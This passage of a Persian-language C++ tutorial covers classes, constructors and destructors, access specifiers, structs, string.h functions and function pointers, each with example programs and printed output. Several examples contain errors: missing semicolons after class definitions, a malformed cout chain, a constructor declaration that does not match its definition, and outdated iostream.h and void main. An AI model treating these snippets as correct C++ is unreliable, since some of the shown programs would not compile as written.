hour = ( h >= 0 && h < 24 ) ? h : 0;
}
void Time::setMinute( int m )
{
minute = ( m >= 0 && m < 60 ) ? m : 0;
}
void Time::setSecond( int s )
{
second = ( s >= 0 && s < 60 ) ? s : 0;
}
int Time::getHour() const
{
return hour;
}
int Time::getMinute() const
{
return minute;
}
int Time::getSecond() const
{
return second;
}
void Time::printUniversal() const
{
cout << (hour<10 ? "0":"") << hour << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second;
}
void Time::printStandard()
{
cout << ( ( hour == 0 || hour == 12 ) ?
12 : hour % 12 ) << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second
<< (hour < 12 ? " AM" : " PM" );
}
int main()
{
Time wakeUp( 6, 45, 0 ); // non-constant object
const Time noon( 12, 0, 0 ); // constant object
// OBJECT MEMBER FUNCTION
wakeUp.setHour( 18 ); // non-const non-const
noon.setHour( 12 ); // const non-const
wakeUp.getHour(); // non-const const
noon.getMinute(); // const const
noon.printUniversal(); // const const
noon.printStandard(); // const non-const
return 0;
}
پيغام های خطای برنامه فوق به صورت زير می باشد:
Warning W8037 100: Non-const function
Time::setHour(int)
called for const object in function main()
Warning W8037 107: Non-const function
Time::printStandard()
called for const object in function main()
*** 2 errors in Compile ***
نظرات ()نابودکننده همانند سازنده تابع عضو ويژه ای از کلاس و همنام با کلاس می باشد و با کاراکتر (~) شروع می گردد.
تابع نابودکننده یک کلاس هنگامی فراخوانده می شود که شیئی از آن کلاس نابود شود (مثلا وقتی که برنامه در حال اجرا، حوزه ای را که در آن، شیئی از آن کلاس نمونه سازی شده ترک می کند). خود نابودکننده شی را نابود نمی کند، بلکه امور خانه داری مربوط به پایان دهی را پیش از آن که سیستم، حافظه شی را باز پس گیرد و این حافظه برای اشیای بعدی آزاد شود، انجام می دهد.
نابودکننده هیچ پارامتری نمی گیرد و هیچ مقداری باز نمی گرداند. یک کلاس فقط یک نابودکننده می تواند داشته باشد. به عبارت دیگر گرانبار کردن نابودکننده مجاز نیست. در قطعه برنامه زير نحوه تعريف يک نابود کننده را می بينيد:
class CreateAndDestroy {
public:
CreateAndDestroy();
~CreateAndDestroy();
private:
int objectID;
};
CreateAndDestroy::CreateAndDestroy(int objectNumber)
{
objectID = objectNumber;
cout << "Object "<<objectID<<" constructor runs\n";
}
CreateAndDestroy::~CreateAndDestroy()
{
cout << "Object "<<objectID<<" destructor runs\n";
}
نظرات ()هنگامی که شیئی از یک کلاس ساخته می شود، اعضای داده آن را می توان با تابع سازنده آن کلاس مقدار دهی اوليه کرد. تابع سازنده ، تابع عضو بخصوصی است که مقادير اوليه اعضای داده ای را تعيين می کند. هنگامی که برنامه شيئی از کلاسی را ايجاد می کند ، تابع سازنده به طور خودکار فراخوانی می گردد. توجه داشته باشيد که تابع سازنده نبايد مقداری را به عنوان خروجی خود برگرداند.
سازنده به کار رفته در برنامه مبحث تعریف کلاس مقادیر اولیه minute ، hour و second را برابر با صفر قرار داد. اما توابع سازنده می توانند دارای آرگومان باشند، که معمولا اين آرگومان ها برای مقدار دهی اوليه به شيئی از نوع کلاس مربوطه به کار می روند. از آنجا که هنگام ايجاد شیء، تابع سازنده به طور خودکار فراخوانی می شود، اعضای داده ای کلاس را توسط آرگومان های در يافتی خود، می تواند مقدار دهی اوليه کند. مقادیر اولیه یک کلاس را می توان هنگام تعريف شیئی از آن کلاس، درون پرانتزهایی که در سمت راست نام شیء و پیش از نقطه ویرگول می آیند قرار داد. این مقادیر اولیه به عنوان آرگومان به تابع سازنده کلاس ارسال می گردند. به برنامه زير توجه کنيد:
#include <iostream.h>
class CRectangle {
int width, height;
public:
CRectangle (int,int);
int area (void) {return (width*height);}
};
CRectangle::CRectangle (int a, int b) {
width = a;
height = b;
}
int main () {
CRectangle rect (3,4);
CRectangle rectb (5,6);
cout << "rect area: " << rect.area() << endl;
cout << "rectb area: " << rectb.area() << endl;
}
خروجی برنامه فوق به صورت زير می باشد:
rect area: 12
rectb area: 30
سازنده ها را برای اينکه مقدار دهی اوليه به اعضای داده ای کلاس به صورتهای مختلف امکان پذیر باشد، می توان گرانبار کرد. به نحوه گرانبار کردن تابع سازنده، در برنامه زير توجه نماييد:
#include <iostream.h>
class CRectangle {
int width, height;
public:
CRectangle ();
CRectangle (int,int);
int area (void) {return (width*height);}
};
CRectangle::CRectangle () {
width = 5;
height = 5;
}
CRectangle::CRectangle (int a, int b) {
width = a;
height = b;
}
int main () {
CRectangle rect (3,4);
CRectangle rectb;
cout << "rect area: " << rect.area() << endl;
cout << "rectb area: " << rectb.area() << endl;
}
خروجی برنامه فوق به صورت زير می باشد:
rect area: 12
rectb area: 25
سازنده ها می توانند دارای آرگومان های پیش فرض نيز باشند. در برنامه زير در پيش تعريف تابع سازنده time و برای هر یک از آرگومانها مقدار پیش فرض صفر در نظر گرفته شده است. با مشخص کردن مقدار پيش فرض برای آرگومانهای تابع سازنده، حتی اگر هنگام فراخوانی تابع سازنده مقداری نيز برای آن تعيين نگردد، مقادير پيش فرض به کار گرفته می شود. اين کار تضمين می نمايد که اعضاء کلاس همواره مقادير درستی را در خود نگهداری می کنند.
#include <iostream.h>
class Time {
public:
Time( int = 0, int = 0, int = 0);
void setTime( int, int, int );
void printUniversal();
void printStandard();
private:
int hour; // 0 - 23 (24-hour clock format)
int minute; // 0 - 59
int second; // 0 - 59
}
Time::Time( int hr, int min, int sec )
{
setTime( hr, min, sec );
}
void Time::setTime( int h, int m, int s )
{
hour = ( h >= 0 && h < 24 ) ? h : 0;
minute = ( m >= 0 && m < 60 ) ? m : 0;
second = ( s >= 0 && s < 60 ) ? s : 0;
}
void Time::printUniversal()
{
cout << (hour<10 ? "0":"") << hour << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second;
}
void Time::printStandard()
{
cout << ( ( hour == 0 || hour == 12 ) ?
12 : hour % 12 ) << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second
<< (hour < 12 ? " AM" : " PM" );
}
void main()
{
Time t1; // all arguments defaulted
Time t2( 2 ); // minute and second defaulted
Time t3( 21, 34 ); // second defaulted
Time t4( 12, 25, 42 ); // all values specified
Time t5( 27, 74, 99 ); // all bad values specified
cout << "Constructed with:\n\n"
<< "all default arguments:\n ";
t1.printUniversal(); // 00:00:00
cout << "\n ";
t1.printStandard(); // 12:00:00 AM
cout << "\n\nhour specified;";
<< " default minute and second:\n ";
t2.printUniversal(); // 02:00:00
cout << "\n ";
t2.printStandard(); // 2:00:00 AM
cout << "\n\nhour and minute specified;";
<< " default second:\n ";
t3.printUniversal(); // 21:34:00
cout << "\n ";
t3.printStandard(); // 9:34:00 PM
cout << "\n\nhour, minute, and second specified:\n ";
t4.printUniversal(); // 12:25:42
cout << "\n ";
t4.printStandard(); // 12:25:42 PM
cout << "\n\nall invalid values specified:\n ";
t5.printUniversal(); // 00:00:00
cout << "\n ";
t5.printStandard(); // 12:00:00 AM
cout << endl;
}
خروجی برنامه فوق به صورت زير می باشد:
Constructed with:
all default arguments:
00:00:00
12:00:00 AM
hour specified; default minute and second:
02:00:00
2:00:00 AM
hour and minute specified; default second:
21:34:00
9:34:00 PM
hour, minute, and second specified:
12:25:42
12:25:42 PM
all invalid values specified:
00:00:00
12:00:00 AM
در برنامه فوق پنج شیء از کلاس Time ايجاد شده اند که t1 هنگام فراخوانی سازنده از هر آرگومان پیش فرض استفاده کرده است، t2 یک آرگومان، t3 دو آرگومان، t4 سه آرگومان را برای سازنده خود مشخص کرده اند و t5 آرگومانهایی با مقادير غير مجاز را مشخص کرده است. ضمنا برای بررسی مجاز بودن آرگومان های دريافت شده توسط تابع سازنده، اين تابع ، setTime را با آرگومانهايی که دريافت کرده است فراخوانی می کند تا اطمينان حاصل شود که hour و minute و second با مقادير درستی مقدار دهی می شوند.
نظرات ()معرفهای دسترسی به اعضا یعنی public و private ، نحوه دسترسی به اعضای داده و توابع عضو کلاس را کنترل می کنند. حالت پیش فرض برای دسترسی به اعضای داده و توابع عضو در کلاس private می باشد، لذا همه اعضایی که بعد از تعيين نام کلاس و قبل از اولین برچسب معرف آمده اند، خصوصی در نظر گرفته می شوند. پس از هر معرف، حالتی که معرف مربوطه تعيين می کند، به همه اعضا تا برچسب بعدی یا آکلاد بسته مربوط به پایان تعریف کلاس اعمال می شود. برچسبهای public و private را می توان چندین بار در تعریف کلاس به کار برد، اما این کار معمول نمی باشد و باعث پيچيدگی کد برنامه می شود. اعضای خصوصی یک کلاس فقط از طریق توابع عضو آن کلاس قابل دسترسی می باشند در مقابل اعضای عمومی کلاس توسط هر تابعی در برنامه قابل دسترسی می باشند.
برنامه زير نشان می دهد که اعضای خصوصی کلاس، خارج از کلاس قابل دسترسی نمی باشند :
#include <iostream.h>
class Time {
public:
Time();
void setTime( int, int, int );
void printUniversal();
void printStandard();
private:
int hour; // 0 - 23 (24-hour clock format)
int minute; // 0 - 59
int second; // 0 - 59
}
Time::Time()
{
hour = minute = second = 0;
}
void Time::setTime( int h, int m, int s )
{
hour = ( h >= 0 && h < 24 ) ? h : 0;
minute = ( m >= 0 && m < 60 ) ? m : 0;
second = ( s >= 0 && s < 60 ) ? s : 0;
}
void Time::printUniversal()
{
cout << (hour<10 ? "0":"") << hour << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second;
}
void Time::printStandard()
{
cout << ( ( hour == 0 || hour == 12 ) ?
12 : hour % 12 ) << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second
<< (hour < 12 ? " AM" : " PM" );
}
int main()
{
Time t; // create Time object
t.hour = 7; // error: 'Time::hour' is not accessible
// error: 'Time::minute' is not accessible
cout << "minute = " << t.minute;
return 0;
}
هنگام کامپايل کردن برنامه فوق با پيغام خطايی مبنی بر اينکه عضو خصوصی قابل دسترسی نمی باشد، مواجه می شويم .
Error in line 50: 'Time::hour' is not accessible
Error in line 53: 'Time::minute' is not accessible
نظرات ()اعضای داده يک کلاس (متغيرهايی که در کلاس تعريف شده اند ) و توابع عضو کلاس ( توابعی که در کلاس تعريف گرديده ا ند ) به حوزه اين کلاس متعلق می باشند و توابعی که عضو کلاس نمی باشند، دارای حوزه فايل می باشند.
در حوزه يک کلاس ، همه اعضای کلاس توسط توابع عضو کلاس قابل دسترسی می باشند و می توان توسط نامشان مستقيما به آنها مراجعه کرد. در بيرون از حوزه کلاس برای دسترسی به اعضای کلاس از عملگر نقطه (.) و يا عملگر پيکان (<-) استفاده می کنيم. عملگر هايی که برای دسترسی به اعضای کلاس مورد استفاده قرار می گيرند همانند عملگر های دسترسی به عناصر ساختارها می باشند. عملگر نقطه (.) برای دستيابی به عضو يک کلاس از طريق نام يک متغير و عملگر پيکان (<-) ، برای دستيابی به عضو يک کلاس از طريق اشاره گر مورد استفاده قرار می گيرد .
توابع عضو يک کلاس تنها توسط ساير توابع عضو همان کلاس می توانند گرانبار شوند. برای گرانبار کردن يک تابع عضو کافی است هنگام تعريف کلاس برای هر يک از نسخه های تابع عضوی که می خواهيم آنرا گرانبارکنيم، يک پيش تعريف قرار دهيم و برای هر يک از نسخه های اين تابع تعريف جداگانه ای در نظر بگيريم.
متغيرهايی که در يک تابع عضو کلاس تعريف شده اند، دارای حوزه تابع می باشند، یعنی فقط برای همان تابع شناخته شده اند. اگر در تابع عضوی، متغيری همنام با نام متغيری که دارای حوزه کلاس است تعريف شده باشد، در اين صورت متغيری که دارای حوزه کلاس می باشد در داخل تابع به طور مستقيم نمی توان رجوع کرد و برای دسترسی به آن بايد عملگر تفکيک حوزه (::) را قبل از نام متغير قرار داد.
در برنامه زير يک کلاس ساده به نام Count با يک عضو داده عمومی از نوع int به نام x و يک تابع عضو عمومی به نام print ، تعريف شده است. در اين برنامه دو شیء از نوع کلاس Count به نامهای counter و countPtr ( اشاره گری به يک شیء Count ) تعريف شده اند که متغيرcountPtr به counter اشاره داده شده است. لازم به ذکر است که عضو داده x فقط برای اين به صورت عمومی تعريف شده که نحوه دسترسی به اعضای عمومی را نشان دهيم. همان طور که قبلا ذکر کرديم، اعضای داده ای معمولاً به صورت خصوصی اعلان می شوند . به برنامه زير توجه کنيد :
#include <iostream.h>
class Count {
public:
int x;
void print()
{
cout << x << endl;
}
};
void main()
{
Count counter;
Count *counterPtr = &counter;
cout << "Assign 1 to x and print "
<< "using the object's name: ";
counter.x = 1;
counter.print();
cout << "Assign 3 to x and print using a pointer: ";
counterPtr->x = 3;
counterPtr->print();
}
خروجی برنامه فوق به صورت زير می باشد:
Assign 1 to x and print using the object's name: 1
Assign 3 to x and print using a pointer: 3
نظرات ()توسط کلاس ها می توان اشيايی را با خصوصيات ( که توسط عناصر نمايش داده می شوند ) و اعمال ( که توسط توابع مشخص می شوند ) مدلسازی کرد . کلاسها همانند ساختارها تعريف می شوند با اين تفاوت که در کلاسها توابع نيز می توانند به عنوان عنصر کلاس باشند . يک کلاس توسط کلمه class تعريف می شود . به تعريف کلاس زير توجه کنيد :
class Time {
public:
Time();
void setTime( int, int, int );
void printUniversal();
void printStandard();
private:
int hour;
int minute;
int second;
};
تعريف کلاس Time با کلمه class شروع می شود و بدنه کلاس با {} مشخص می شود و در انتها تعريف کلاس با يک نقطه ويرگول (;) به پايان می رسد. همانند ساختار Time که در مبحث قبل ايجاد کرديم کلاس Time دارای سه عنصر از نوع عدد صحيح با نامهایhour وminute وsecond می باشد ساير اجزای کلاس جديد می باشد که به بررسی آنها می پردازيم . برچسبهای :public و :private معرفهای دستيابی به عنصر ( عضو ) ناميده می شوند . هر عضو داده ای يا تابع عضوی که بعد از public و قبل از private تعريف می شود ، در هر جايی که برنامه به شيئی از نوع Time دسترسی دارد قابل دستيابی می باشد. هر عضو داده ای يا تابعی که بعد از private تعريف می شود تنها برای توابع عضو کلاس قابل دستيابی می باشد و به طور مستقيم از داخل برنامه قابل دسترسی نمی باشند . تأکيد می شود که بعد از معرفهای دستيابی به اعضاء يک علامت دو نقطه (:) قرار می گيرد . ضمناً اين معرفها را در تعريف کلاسها ، چندين بار و به هر ترتيبی می توان به کار برد ولی توصيه می شود که برای خوانايی برنامه هر يک از اين معرفها را تنها يکبار به کار ببريد و ابتدا اعضای عمومی ( public ) را قرار دهيد . تعريف کلاس Time شامل پيش تعريف چهار تابع printUniversal , setTime ,Time و printStandard می شود که اين توابع ، اعضای عمومی کلاس Time می باشند ، چون بعد از publice تعريف شده اند .
توجه داشته باشيد که تابع عضوی همنام با کلاس وجود دارد که اين تابع ، تابع سازنده ناميده می شود . تابع سازنده ، تابع عضو بخصوصی است که مقادير اوليه اعضای داده ای را تعيين می کند . هنگامی که برنامه شيئی از کلاسی را ايجاد می کند ، تابع سازنده به طور خودکار فراخوانی می گردد. توجه داشته باشيد که تابع سازنده نبايد مقداری را به عنوان خروجی خود برگرداند .
همانند ساختارها ، هنگامی که کلاس Time تعريف گرديد می توان اشيايی را از نوع کلاس Time ايجاد کرد . به دستورات زير توجه کنيد :
Time sunset;
Time arrayofTime [5];
Time *timeptr = & sunset;
توسط دستورات فوق sunset متغيری از نوع کلاس Time تعريف می شود. arrayofTime آرايه ای شامل 10 عنصر از نوع کلاس Time می باشد و timePtr اشاره گری به خانه ای از حافظه با نام sunset از نوع کلاس Time تعريف می گردد.
در برنامه زير کلاس Time مورد استفاده قرار گرفته است و توابع عضو آن تعريف گرديده اند. در اين برنامه شيئی از نوع کلاس Time بانام t ايجاد شده است. هنگامی که اين شیء ايجاد می شود تابع سازنده Time به طور خودکار فراخوانی می شود ومقدار هر يک از اعضای داده (hour , minute , secound) را عدد صفر قرار می دهد. پس از ايجاد شدن شیء t توابع عضو printUniversal و printStandard فراخوانی می شوند تا با چاپ زمان توسط اين دو تابع از مقدار دهی اوليه به شیء t اطمينان حاصل کنيم. سپس با فراخوانی تابع setTime ، شیء t مقدار دهی می شود و سپس مجددا مقدار اين شیء به دو روش چاپ می گردد. هنگامی که با فراخوانی مجدد تابع عضو setTime سعی در مقدار دهی نادرست به شیء t می کنيم ، تابع عضو setTime از اين کار جلوگيری می کند.
#include <iostream.h>
class Time {
public:
Time();
void setTime( int, int, int );
void printUniversal();
void printStandard();
private:
int hour; // 0 - 23 (24-hour clock format)
int minute; // 0 - 59
int second; // 0 - 59
}
Time::Time()
{
hour = minute = second = 0;
}
void Time::setTime( int h, int m, int s )
{
hour = ( h >= 0 && h < 24 ) ? h : 0;
minute = ( m >= 0 && m < 60 ) ? m : 0;
second = ( s >= 0 && s < 60 ) ? s : 0;
}
void Time::printUniversal()
{
cout << (hour<10 ? "0":"") << hour << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second;
}
void Time::printStandard()
{
cout << ( ( hour == 0 || hour == 12 ) ?
12 : hour % 12 ) << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second
<< (hour < 12 ? " AM" : " PM" );
}
int main()
{
Time t;
cout << "The initial universal time is ";
t.printUniversal(); // 00:00:00
cout << "\nThe initial standard time is ";
t.printStandard(); // 12:00:00 AM
t.setTime( 13, 27, 6 ); // change time
cout << "\n\nUniversal time after setTime is ";
t.printUniversal(); // 13:27:06
cout << "\nStandard time after setTime is ";
t.printStandard(); // 1:27:06 PM
t.setTime( 99, 99, 99 ); // attempt invalid settings
cout << "\n\nAfter attempting invalid settings:"
<< "\nUniversal time: ";
t.printUniversal(); // 00:00:00
cout << "\nStandard time: ";
t.printStandard(); // 12:00:00 AM
cout << endl;
return 0;
}
خروجی برنامه فوق به صورت زير می باشد:
The initial universal time is 00:00:00
The initial standard time is 12:00:00 AM
Universal time after setTime is 13:27:06
Standard time after setTime is 1:27:06 PM
After attempting invalid settings:
Universal time: 00:00:00
Standard time: 12:00:00 AM
همانطور که در برنامه فوق مشاهده می کنيد هنگام تعريف کلاس تنها پيش تعريف توابع عضو آورده شده است و خود توابع در خارج از کلاس تعريف شده اند. برای اين کار قبل از نام تابع ، نام کلاس را همراه با عملگر تفکيک دامنه(::) قرار می دهيم :
void Time::printUniversal()
{
cout << (hour<10 ? "0":"") << hour << ":"
<< (minute<10 ? "0":"") << minute << ":"
<< (second<10 ? "0":"") << second;
}
نظرات ()برای دستيابی به عناصر يک ساختار از عملگر نقطه (.) و يا عملگر پيکان (<-) استفاده می کنيم . عملگر نقطه برای دستيابی به عنصر يک ساختار از طريق نام يک متغير ، مورد استفاده قرار می گيرد ، به عنوان مثال به دستور زير توجه کنيد :
timeObject.hour = 13;
timeObject.minute = 33;
timeObject.second = 20;
دستور فوق عناصر hour و minute و second متغيری از نوع Time را به ترتيب با مقادير 13 و 33 و 20 مقدار دهی می کند و دستور زير :
cout << timeObject.hour;
برای چاپ کردن عنصرhour از متغيرtime Object به کار می رود . عملگر پيکان که از يک علامت منفی (-) و يک علامت بزرگتر (<) بدون فاصله بين اين دو علامت تشکيل شده است ، برای دستيابی به عنصر يک ساختار از طريق اشاره گر مورد استفاده قرار می گيرد .
cout << timePtr -> hour;
دستور فوق برای چاپ کردن عنصر hour از متغير timeObject توسط اشاره گر timePtr به کار رفته است . به جای استفاده از timePtr -> hour برای دستيابی به عنصر hour می توان از (*timePtr).hour استفاده کرد . توجه داشته باشيد که استفاده از پرانتز در کنار timePtr* الزامی می باشد . به عنوان مثال از دستور زير نيز برای چاپ عنصر hour از متغير timeObject توسط اشاره گر timePtr می توان استفاده کرد .
cout << (*timePtr).hour;
در برنامه زير ساختار Time مورد استفاده قرار گرفته است و توسط روش ارسال آرگومان با ارجاع به توابع ، شیء dinnerTime که از نوع ساختار Time می باشد به توابع printUniversal و printStandard ارسال شده است.
#include <iostream.h>
struct Time {
int hour; // 0-23 (24-hour clock format)
int minute; // 0-59
int second; // 0-59
};
void printUniversal( const Time & );
void printStandard( const Time & );
int main()
{
Time dinnerTime;
dinnerTime.hour = 18;
dinnerTime.minute = 30;
dinnerTime.second = 0;
cout << "Dinner will be held at ";
printUniversal( dinnerTime );
cout << " universal time,\nwhich is ";
printStandard( dinnerTime );
cout << " standard time.\n";
dinnerTime.hour= 29; //set hour to invalid value
dinnerTime.minute= 73; //set minute to invalid value
cout << "\nTime with invalid values: ";
printUniversal( dinnerTime );
cout << endl;
return 0;
}
void printUniversal( const Time &t )
{
cout << (t.hour<10 ? "0":"") << t.hour << ":"
<< (t.minute<10 ? "0":"") << t.minute << ":"
<< (t.second<10 ? "0":"") << t.second;
}
void printStandard( const Time &t )
{
cout << ( ( t.hour == 0 || t.hour == 12 ) ?
12 : t.hour % 12 ) << ":"
<< (t.minute<10 ? "0":"") << t.minute << ":"
<< (t.second<10 ? "0":"") << t.second
<< ( t.hour < 12 ? " AM" : " PM" );
}
خروجی برنامه فوق به صورت زير می باشد:
Dinner will be held at 18:30:00 universal time,
which is 6:30:00 PM standard time.
Time with invalid values: 29:73:00
همانطور که در برنامه فوق مشاهده کرديد ، امکان مقدار دهی نادرست به شيئی از نوع ساختار Time وجود دارد. اما در مبحث بعدی در کلاسها خواهيد ديد که می توان مقدار دهی به اعضا را کنترل کرد.
نظرات ()ساختارها نوعی داده ، متشکل از تعدادی عنصر(عضو) می باشند که اين عناصر هر يک ممکن است از نوع داده ای متفاوتی با بقيه باشند و يا از نوع ساختار ديگری باشند . به تعريف ساختار زير توجه کنيد :
struct Time {
int hour;
int minute;
int second;
};
در دستور فوق کلمه struct يک ساختار را با نام Time ايجاد می کند ساختار ايجاد شده با نام Time دارای سه عنصر به نامهای hour (برای نگهداری ساعت) ، minute (برای نگهداری دقيقه) ، second (برای نگهداری ثانيه) می باشد که اين عناصر از نوع عدد صحيح می باشند . عناصر يک ساختار نمی توانند دارای نامهای يکسانی باشند ولی دو ساخاختار متفاوت می توانند دارای عناصری با نامهای يکسان باشند و اين کار تداخلی بين آنها ايجاد نمی کند.
پس از اينکه ساختار Time ايجاد شد می توانيم از اين نوع داده جديد استفاده کنيم و متغيرهايی را از اين نوع داده تعريف کنيم . به دستورات زير توجه کنيد :
Time timeObject;
Time timeArray[10];
Time *timePtr=&timeObject;
توسط دستورات فوق timeObject متغيری از نوع Time تعريف می شود . timeArray آرايه ای که شامل 10 عنصر از نوع Time می باشد ، تعريف می شود . timePtr اشاره گری به خانه ای از حافظه با نام timeObject از نوع Time تعريف می شود.
نظرات ()در اين مبحث تعدادی از توابع پردازش رشته را که در فايل کتابخانه ای string.h قرار دارند مورد بررسی قرار می دهيم .
char *strcpy (char *s1, const char *s2);
تابع فوق رشته s2 را در رشته s1 کپی می کند و مقدار s1 به عنوان خروجی تابع برگردانده می شود .
char *strncpy (char *s1, const char *s2, size_t n);
تابع فوق تعداد n حرف را از رشته s2 در رشته s1 کپی می کند و s1 را به عنوان خروجی برمی گرداند . به برنامه زير توجه کنيد :
#include <iostream.h>
#include <string.h>
void main()
{
char x[] = "Happy Birthday to You";
char y[ 25 ];
char z[ 15 ];
strcpy( y, x ); // copy contents of x into y
cout << "The string in array x is: " << x
<< "\nThe string in array y is: " << y << '\n';
// copy first 14 characters of x into z
strncpy( z, x, 14 ); // does not copy null character
z[ 14 ] = '\0'; // append '\0' to z's contents
cout << "The string in array z is: " << z << endl;
}
خروجی برنامه فوق به صورت زير می باشد :
The string in array x is: Happy Birthday to You
The string in array y is: Happy Birthday to You
The string in array z is: Happy Birthday
char *strcat (char *s1, const char *s2);
تابع فوق رشته s2 را به انتهای رشته s1 اضافه می کند و s1 را به عنوان خروجی بر می گرداند .
char *strncat (char *s1, const char *s2, size_t n);
تابع فوق n حرف از رشته s2 را به رشته s1 اضافه می کند و s1 را به عنوان خروجی تابع بر می گرداند. به برنامه زير توجه کنيد :
#include <iostream.h>
#include <string.h>
void main()
{
char s1[ 20 ] = "Happy ";
char s2[] = "New Year ";
char s3[ 40 ] = "";
cout << "s1 = " << s1 << "\ns2 = " << s2;
strcat( s1, s2 ); // concatenate s2 to s1
cout << "\n\nAfter strcat(s1, s2):\ns1 = " << s1
<< "\ns2 = " << s2;
// concatenate first 6 characters of s1 to s3
// and places '\0' after last character
strncat( s3, s1, 6 );
cout << "\n\nAfter strncat(s3, s1, 6):\ns1 = " << s1
<< "\ns3 = " << s3;
strcat( s3, s1 ); // concatenate s1 to s3
cout << "\n\nAfter strcat(s3, s1):\ns1 = " << s1
<< "\ns3 = " << s3 << endl;
}
خروجی برنامه به صورت زير می باشد :
s1 = Happy
s2 = New Year
After strcat(s1, s2):
s1 = Happy New Year
s2 = New Year
After strncat(s3, s1, 6):
s1 = Happy New Year
s3 = Happy
After strcat(s3, s1):
s1 = Happy New Year
s3 = Happy Happy New Year
int strcmp (const char *s1, const char *s2);
تابع فوق رشته s1 را با رشته s2 مقايسه می کند . اگر دو رشته برابر بودند مقدار صفر برگردانده می شود ، اگر رشته s1 کوچکتر از s2 باشد عددی منفی و اگر رشته s1 بزرگتر از s2 باشد عددی مثبت خروجی تابع خواهند بود .
int strncmp (const char *s1, const char *s2, size_t n);
تابع فوق n حرف اول رشته s1 را با رشته s2 مقايسه می کند و خروجی تابع همانند خروجی strcmp خواهد بود . به برنامه زير توجه کنيد :
#include <iostream.h>
#include <string.h>
void main()
{
char *s1 = "Happy New Year";
char *s2 = "Happy New Year";
char *s3 = "Happy Holidays";
cout << "s1 = " << s1 << "\ns2 = " << s2
<< "\ns3 = " << s3 << "\n\nstrcmp(s1, s2) = "
<< " " << strcmp( s1, s2 )
<< "\nstrcmp(s1, s3) = " << " "
<< strcmp( s1, s3 ) << "\nstrcmp(s3, s1) = "
<< " " << strcmp( s3, s1 );
cout << "\n\nstrncmp(s1, s3, 6) = " << " "
<< strncmp(s1,s3,6) << "\nstrncmp(s1,s3,7) = "
<< " " << strncmp( s1, s3, 7 )
<< "\nstrncmp(s3, s1, 7) = "
<< " " << strncmp( s3, s1, 7 ) << endl;
}
خروجی برنامه فوق به صورت زير می باشد :
s1 = Happy New Year
s2 = Happy New Year
s3 = Happy Holidays
strcmp(s1, s2) = 0
strcmp(s1, s3) = 6
strcmp(s3, s1) = -6
strncmp(s1, s3, 6) = 0
strncmp(s1, s3, 7) = 6
strncmp(s3, s1, 7) = -6
char *strtok (char *s1, const char *s2);
تابع فوق رشته s1 را توسط s2 جدا جدا می کند . به برنامه زير توجه کنيد :
#include <iostream.h>
#include <string.h>
void main()
{
char sentence[] ="This is a sentence with 7 tokens";
char *tokenPtr;
cout << "The string to be tokenized is:\n"<<sentence
<< "\n\nThe tokens are:\n\n";
tokenPtr = strtok( sentence, " " );
while ( tokenPtr != NULL ) {
cout << tokenPtr << '\n';
tokenPtr = strtok( NULL, " " ); // get next token
}
cout <<"\nAfter strtok, sentence ="<<sentence<<endl;
}
خروجی برنامه فوق به صورت زير می باشد :
The string to be tokenized is:
This is a sentence with 7 tokens
The tokens are:
This
is
a
sentence
with
7
tokens
After strtok, sentence = This
size_t strlen (const char *s);
تابع فوق طول رشته s را به عنوان خروجی بر می گرداند . به برنامه زير توجه کنيد :
#include <iostream.h>
#include <string.h>
void main()
{
char *string1 = "abcdefghijklmnopqrstuvwxyz";
char *string2 = "four";
char *string3 = "Boston";
cout << "The length of \"" << string1
<< "\" is " << strlen( string1 )
<< "\nThe length of \"" << string2
<< "\" is " << strlen( string2 )
<< "\nThe length of \"" << string3
<< "\" is " << strlen( string3 ) << endl;
}
خروجی برنامه فوق به صورت زير می باشد :
The length of "abcdefghijklmnopqrstuvwxyz" is 26
The length of "four" is 4
The length of "Boston" is 6
نظرات ()يک اشاره گر به تابع حاوی آدرس آن تابع در حافظه می باشد . همانطور که می دانيد نام يک آرايه در واقع آدرس اولين عنصر آرايه در حافظه می باشد. مشابهاً ، نام يک تابع ، آدرس ابتدای کدهای يک تابع ، در حافظه می باشد . اشاره گر به يک تابع می تواند به عنوان آرگومان به توابع ارسال شود ، به عنوان خروجی تابعی برگردانده شود، در آرايه قرار گيرد و يا به تابعی ديگر اشاره داده شود.
برای آشنايی با نحوه کاربرد اشاره گرهای توابع، برنامه مرتب کردن حبابی عناصر آرايه را بازنويسی می کنيم. اين برنامه دارای توابع ascending ، swap ،bubble و descending می باشد . تابع bubble يک اشاره گر تابع را به عنوان آرگومان ، همراه با آرايه و عدد ثابتی به عنوان طول آرايه ، دريافت می کند .
اين اشاره گر به تابع ، اشاره گری به يکی از توابع ascending يا descending می باشد که اين دو تابع نحوه مرتب شدن آرايه را از نظر صعودی يا نزولی بودن تشخيص می دهند. برنامه در ابتدا از کاربر نحوه مرتب کردن عناصر را که به صورت صعودی مرتب شوند يا نزولی ، می پرسد . اگر کاربر عدد 1 را وارد کند ، يک اشاره گر به تابع ascending به عنوان آرگومان، به تابع bubble ارسال می شود که باعث می شود عناصر آرايه به صورت صعودی مرتب شوند. و اگر کاربر عدد 2 را وارد کند ، يک اشاره گر به تابع descending به عنوان آرگومان، به تابع bubble ارسال می گردد که باعث می شود عناصر آرايه به صورت نزولی مرتب شوند. به کدهای اين برنامه توجه کنيد :
#include <iostream.h>
void bubble( int [], const int, int (*)( int, int ) );
void swap( int * const, int * const );
int ascending( int, int );
int descending( int, int );
void main()
{
const int arraySize = 10;
int order;
int counter;
int a[ arraySize ] = { 2, 6, 4, 8, 10,
12, 89, 68, 45, 37 };
cout << "Enter 1 to sort in ascending order,\n"
<< "Enter 2 to sort in descending order: ";
cin >> order;
cout << "\nData items in original order\n";
for ( counter = 0; counter < arraySize; counter++ )
cout << " " << a[ counter ];
if ( order == 1 ) {
bubble( a, arraySize, ascending );
cout << "\nData items in ascending order\n";
}
else {
bubble( a, arraySize, descending );
cout << "\nData items in descending order\n";
}
for ( counter = 0; counter < arraySize; counter++ )
cout << " " << a[ counter ];
cout << endl;
}
void bubble( int work[], const int size,
int (*compare)( int, int ) )
{
